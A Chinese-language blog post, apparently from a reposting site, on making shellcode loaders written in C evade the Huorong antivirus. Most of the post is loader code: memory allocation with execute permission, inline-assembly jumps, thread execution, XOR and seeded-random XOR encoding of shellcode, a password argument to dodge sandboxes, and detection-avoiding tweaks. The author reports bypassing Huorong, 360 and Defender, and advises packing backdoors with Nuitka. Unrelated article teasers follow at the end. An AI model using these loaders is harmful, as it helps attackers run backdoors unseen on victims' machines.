c语言免杀火绒

文章目录

    • 前记
    • c加载器
    • 补充知识

前记

pyinstaller

pyinstaller目前已经被杀疯了,简单打包一个hello

a="hello"
print(a)

#pyinstaller -F -w b.py -n HipsMain.exe

在这里插入图片描述

考虑Nuitka

pip uninstall nuitka
pip install nuitka==
pip install nuitka==1.8.5
这里最新的1.8.5支持python3.11,因此将python环境切换到3.11
python -m nuitka --lto=no --onefile --standalone a.py
python -m nuitka  --onefile --standalone a.py

在这里插入图片描述

因此对后门打包建议使用nuitka,测试evilhiding项目的b.py用nuitka打包后可过火绒、360、defender

c语言

尝试c语言release出来的exe,可见c语言生成的exe是效果最好且体积最小,因此接下来探索c的免杀之路

在这里插入图片描述

c加载器

原生加载

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")   //windows控制台程序不出黑窗口
int main()
{
    //方式一:指针执行
    //((void(*)(void)) & buf)();

    //方式二:强制类型转换
    //((void(WINAPI*)(void))&buf)();

    //方式三:申请动态内存加载
    //char* Memory;
    //Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //memcpy(Memory, buf, sizeof(buf));
    //((void(*)())Memory)();

    //方式四:嵌入汇编加载
    unsigned char buf[] = "";
    void* p;
    VirtualProtect(buf,sizeof(buf),PAGE_EXECUTE_READWRITE,&p);
    _asm {
    lea eax,buf
    push eax
    ret
    }
    system("pause");

    //方式五:汇编花指令
    //__asm{
    //mov eax, offset shellcode
    //_emit 0xFF
    //_emit 0xE0
    //}
}

xor加密

def jiami(shellcode,num):
    shellcode.split('\\x')
    newcode=''
    for i in shellcode:
        base10 = ord(i) ^ num
        code_hex = hex(base10)
        code_hex = code_hex.replace('0x', '')
        if (len(code_hex) == 1):
            code_hex = '0' + code_hex
        newcode += '\\x' + code_hex
    print(newcode)

if __name__ == '__main__':
    shellcode=''
    num=int (input("num:"))
    jiami(shellcode,num)
#include <Windows.h>

// 入口函数
int wmain(int argc, TCHAR* argv[]) {

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
    /* length: 800 bytes */

    unsigned char buf[] = "加密后的字符串";

    // 获取shellcode大小
    shellcode_size = sizeof(buf);

    /* 增加异或代码 */
    for (int i = 0; i < shellcode_size; i++) {
        buf[i] ^= 4;
    }
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */

    char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );
    // 将shellcode复制到可执行的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
    );

    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return 0;
}

敏感修改

  • 在 shellcode 读入时,申请一个普通的可写内存页,然后通过 VirtualProtect 加上可执行权限。
  • 用 InterlockedXorRelease 函数代替 ^(异或)。
    for (int i = 0; i < shellcode_size; i++) {
        Sleep(50);
        // buf[i] ^= 10;
        _InterlockedXor8(buf + i, 10);
    }
	char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_READWRITE      // 只申请可写
    );
    //将 shellcode 复制到可执行的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    // 更改它的属性为可执行
    VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

随机数异或加密

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include<string.h>

int main() {
    unsigned char buf[] = "";    
    int a = 88;
    int len = sizeof(buf) - 1;
    unsigned char jiami[900];
    int b = 0;
    srand(a);
    for (int i = 0; i < len; i++) {
        b = rand() % 9 + 1;//1-9
        jiami[i] = b ^ buf[i];
        printf("\\x%x", jiami[i]);
    }
    system("pause");
    return 0;
}
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include<string.h>
void jisuan(int i) {
    for (int j = 0; j < i; j++)
        printf("%d\n", j);
}
int main(int argc, char* argv[])
{
    if (argc == 2)
    {
        char k[] = "998";
        if (strcmp(argv[1],k)==0) {
            int a = 88;
            unsigned char jiemi[900] = { 0 };
            unsigned char jiami[900] = "";
            int len = sizeof(jiami) - 1;
            int b;
            srand(a);
            for (int i = 0; i < len; i++)
            {
                b = rand() % 9 + 1;//1-9
                jiemi[i] = jiami[i] ^ b;
            }
            void* p;
            VirtualProtect(jiemi, sizeof(jiemi), PAGE_EXECUTE_READWRITE, &p);
            _asm {
                lea eax, jiemi
                push eax
                ret
            }
            system("pause");
        }
        else {
            jisuan(88);
        }
    }
    else
    {
        jisuan(100);
    }
    return 0;
}

经过测试可过火绒

在这里插入图片描述

补充知识

windows杀死进程

taskkill /im {映像名称} /f
taskkill /pid {pid} /F

python调用c语言(Linux)

int add(int num1, int num2)
{
    return num1 + num2;
}
gcc c_dll.c -shared -o c_dll.so
from ctypes import *

if __name__ == '__main__':
    getso=cdll.LoadLibrary("./c_dll.so")
    print(getso.add(1,2))

文件转化为16进制打印

import binascii
print(binascii.b2a_hex(open("1.txt","rb").read()))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/161248.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【2】SM2验签工具和RSA验签工具

0X01 前言 最近看了好多验签工具&#xff0c;感觉不是很好用&#xff0c;就自己造了个。 0x02 工具功能介绍 对SM2算法进行验签和RSA算分进行验签&#xff0c;签名值可以是base64&#xff0c;也可以是十六进制。 兼容各种输入。 0x03 工具使用 RSA 验签 SM2 验签 0x04 工具…

架构师篇 DDD领域驱动设计篇

一 DDD领域驱动设计 1.1 领域驱动设计 领域驱动设计(英文&#xff1a;Domain-Driven Design&#xff0c;缩写DDD)是一种模型驱动设计的方法&#xff0c;领域驱动设计常以战略设计与战术设计来将整个领域展现的淋漓尽致&#xff0c;其作用范围既面向业务也面向技术。从战略角度…

『GitHub项目圈选02』一款可实现视频自动翻译配音为其他语言的开源项目

&#x1f525;&#x1f525;&#x1f525;本周GitHub项目圈选****: 主要包含视频翻译、正则填字游戏、敏感词检测、聊天机器人框架、AI 换脸、分布式数据集成平台等热点项目。 1、pyvideotrans pyvideotrans 是一个视频翻译工具&#xff0c;可将一种语言的视频翻译为另一种语…

完整版解答!2023年数维杯国际大学生数学建模挑战赛B题

B题完整版全部5问&#xff0c;问题解答、代码&#xff0c;完整论文、模型的建立和求解、各种图表代码已更新&#xff01; 大家好&#xff0c;目前已完成2023数维杯国际赛B题全部5问的代码和完整论文已更新&#xff0c;部分展示如下&#xff1a; 部分解答图表 问题分析 B题前三…

打不开github网页解决方法

问题&#xff1a; 1、composer更新包总是失败 2、github打不开&#xff0c;访问不了 解决方法&#xff1a;下载一个Watt Toolkit工具&#xff0c;勾选上&#xff0c;一键加速就可以打开了。 下载步骤&#xff1a; 1、打开网址&#xff1a; Watt Toolkit 2、点击【下载wind…

ROS 学习应用篇(八)ROS中的坐标变换管理之tf广播与监听的编程实现

偶吼吼胜利在望&#xff0c;冲冲冲 老规矩新建功能包 工作空间目录下/src下开启终端输入 catkin_create_pkg learning_tf roscpp rospy tf turtlesim 如何实现tf广播 引入库 c python …

基于猕猴感觉运动皮层Spike信号的运动解码分析不同运动参数对解码的影响

公开数据集中文版详细描述参考前文&#xff1a;https://editor.csdn.net/md/?not_checkout1&spm1011.2124.3001.6192神经元Spike信号分析参考前文&#xff1a;https://blog.csdn.net/qq_43811536/article/details/134359566?spm1001.2014.3001.5501神经元运动调制分析参考…

开源简历生成器OpenResume

什么是 OpenResume &#xff1f; OpenResume 是一个功能强大的开源简历生成器和简历解析器。OpenResume 的目标是为每个人提供免费的现代专业简历设计&#xff0c;让任何人都能充满信心地申请工作。 OpenResume 有 5 个核心特点&#xff1a; 特征描述1. 实时UI更新当您输入简历…

如何去掉图片上的水印?这三种去水印的方法帮你解决!

当我们从网上看到喜欢的图片&#xff0c;想要保存下来作为头像或者插入到工作汇报中时&#xff0c;却发现下载的图片带有水印。这不仅影响了图片的美观&#xff0c;还可能对图片的可用性造成影响。那么&#xff0c;如何去掉图片上的水印呢? 实际上&#xff0c;现在市面上的很多…

【项目管理】PMO技能树21项参照

导读&#xff1a;PMO技能树让你能够有全局视野&#xff0c;让你对照着检查自己的能力是否掌握。技能树提供了构建个人知识体系参照和地图导航&#xff0c;不至于迷失方向。 目录 1、PMO层次概览 2、技能树 2.1 项目管理流程 2.2 项目组合管理 2.3 风险管理 2.4 项目资源管…

高品质建筑红模板与耐久黑色覆膜清水模板:建筑质量的双重守护者

高品质建筑红模板&#xff0c;是现代建筑领域中不可或缺的利器。其承载着创新设计与高效施工的双重使命&#xff0c;在工地建筑需求中占据着重要地位。而耐用黑色覆膜清水模板&#xff0c;则是建筑领域中的隐形英雄&#xff0c;为建筑结构提供了可靠的支撑和保护。这两者的结合…

maptalks三维地图网址

三维 地址: http://examples.maptalks.com/examples/cn/gltf/gltf-marker/shader

typora使用PicGo自动上传图片到chevereto图床

typora使用PicGo自动上传图片到chevereto图床 近期发现&#xff0c;gitee图床不能用了。github又涉及科学上网。搜索了开源图床方案&#xff0c;找到了chevereto&#xff0c;使用起来还不错。分享给大家。 文章目录 typora使用PicGo自动上传图片到chevereto图床chevereto图床安…

产品经理必备技能:如何快速锁定种子用户群体?

大家好&#xff0c;我是小米&#xff0c;一名热爱技术、热衷分享的90后小青年。今天我们要探讨的话题是一个在产品经理面试中经常被问到的问题&#xff1a;“产品上线后的种子用户该如何获取&#xff1f;”作为一个热爱挑战、乐于探讨的小伙伴&#xff0c;我将和大家分享一些我…

开源与闭源:创新与安全的平衡

目录 一、开源和闭源的优劣势比较 一、开源软件的优劣势 优势 劣势 二、闭源软件的优劣势 优势 劣势 二、开源和闭源对大模型技术发展的影响 一、机器学习领域 二、自然语言处理领域 三、数据共享、算法创新与业务拓展的差异 三、开源与闭源的商业模式比较 一、盈…

基于供需算法优化概率神经网络PNN的分类预测 - 附代码

基于供需算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于供需算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于供需优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针对PNN神经网络的光滑…

C语言--从键盘输入10个数字放在数组中,并输出

用scanf读取数字的时候要注意&#xff0c;可以输入一个数字&#xff0c;按一下回车&#xff0c;输入一个数字&#xff0c;按一下回车&#xff0c;也可以一次性输入完10个数据。&#xff08;中间可以用空格隔开&#xff0c;系统会自动识别&#xff09; 输出一:每按下一个数字&am…

redis实战篇03

附近的商户 我们利用Redis的GEOHash来完成对于地理坐标的操作 UV统计 主要是使用Redis来完成统计功能 用户签到 使用Redis的BitMap数据统计功能 好友关注 基于Set集合的关注、取消关注&#xff0c;共同关注等等功能&#xff0c;这一块知识咱们之前就讲过&#xff0c;这次…

虚拟机配置完NAT模式之后可以和主机ping通但是ping 百度显示:网络不可达

linux网络配置看这&#xff1a;http://t.csdnimg.cn/KRami 如果网关为空&#xff0c;配置网关之后重启即可